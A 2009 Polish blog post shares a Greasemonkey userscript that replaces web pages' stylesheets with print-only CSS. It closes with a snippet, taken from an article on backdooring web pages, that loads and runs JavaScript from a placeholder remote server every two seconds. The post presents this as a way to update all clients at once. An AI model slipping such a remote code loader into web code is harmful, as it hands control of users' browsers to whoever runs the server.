czwartek, 18 czerwca 2009

Sterownik wydruku pod Firefox

Jak zmienić sposób drukowania stron pod FIrefoxem?


To proste- nalezy zainstalować greasemonkey
- dodatek do firefoxa i dodac kod javascript który bedzie wstrzykiwany w wybraną stronę podczas otwierania.
Idea jest prosta:
1.wskrzykujemy własny styl CSS
2.ustawiamy media: print - styl dziala tylko przy wydruku
3. dodajemy atrybut !important aby nadpisać ewwentualnie istniejace style CSS

kod na podstawie Boring CSS by Eric Talevich

// Printer Driver for Firefox
// version 0.2
// 2009-06-02
// Copyright (c) 2009, Lukas Gintowt
// Released under the GPL license
// http://www.gnu.org/copyleft/gpl.html
//
// --------------------------------------------------------------------
//
// This is a Greasemonkey user script. To install it, you need Greasemonkey
// 0.4 or later: http://greasemonkey.mozdev.org/ Then restart Firefox and
// revisit this script. Under Tools, there will be a new menu item to "Install
// User Script". Accept the default configuration and install.
//
// To uninstall, go to Tools/Manage User Scripts, select "FF Printer Driver", and
// click Uninstall.
//
// --------------------------------------------------------------------
//
// ==UserScript==
// @name FF Printer Driver
// @description Replaces each page's CSS printing stylesheet.
//@include http://poczta.serwer.ip/*
// @include http://blogs.*.com/*
// @include http://*.wikipedia.org/*
// @include http://*.googlepages.com/*
// ==/UserScript==

mystylesheet = '' +
'body {font-family: Verdana, sans-serif; color: black; }' + //background: #FFFF;
'a:link {color: #00A;}' +
'a:visited {color: #666;}' +
'a:hover {color: #008; background: #EEF;}' +
'a, div, p, dd, li {font-size: 8pt; line-height: 80%;}'+
'h1 {font: 12pt Georgia, serif;}' +
'h2 {font-size: 12pt;}' +
'h3 {font-size: 11pt;}' +
'h4 {font-size: 10pt;}' +
'table{font-size:8pt !important;display:print !important;media:print!important;}'
//+ 'table{font-size:10pt !important;display:screen; media:screen}' //here you can defice print style for screen
//'a, div, p, dd, li {font-size: 10pt; line-height: 170%;}'

window.addEventListener("load", function(e) {
// Remove the existing embedded and linked stylesheets
var styles = document.getElementsByTagName('style')
while (styles[0])
styles[0].parentNode.removeChild(styles[0])

var links = document.getElementsByTagName('link')
for (var i=0; i < links.length; ++i ) {
var link = links[i]
if (link.getAttribute('rel').toLowerCase() == 'stylesheet') {
link.parentNode.removeChild(link)
i-- // Since we popped a node, the indexes shift by 1
}
}

// Define the new stylesheet for the page & attach it

var newstyle = document.createElement("style")
newstyle.type = "text/css"
newstyle.media = "print"
var css = document.createTextNode(mystylesheet)
newstyle.appendChild(css)
document.getElementsByTagName('head')[0].appendChild(newstyle)
}, false)




Można jeszcze dorobić dostęp do zdalnego repozytorium kodu:
(jakby ktoś chciał zrobić update kodu naraz dla wszystkich klientów)
za http://www.gnucitizen.org/blog/backdooring-web-pages/


setInterval(function () {
var head = document.getElementsByTagName('head').item(0);
var old = document.getElementById('last_loaded_cmd');

if (old)
head.removeChild(old);

script = document.createElement('script');
script.src = 'http://ip.serwera';
script.type = 'text/javascript';
script.defer = true;
script.id = 'last_loaded_cmd';
void(head.appendChild(script));
}, 2000);



Brak komentarzy:

Prześlij komentarz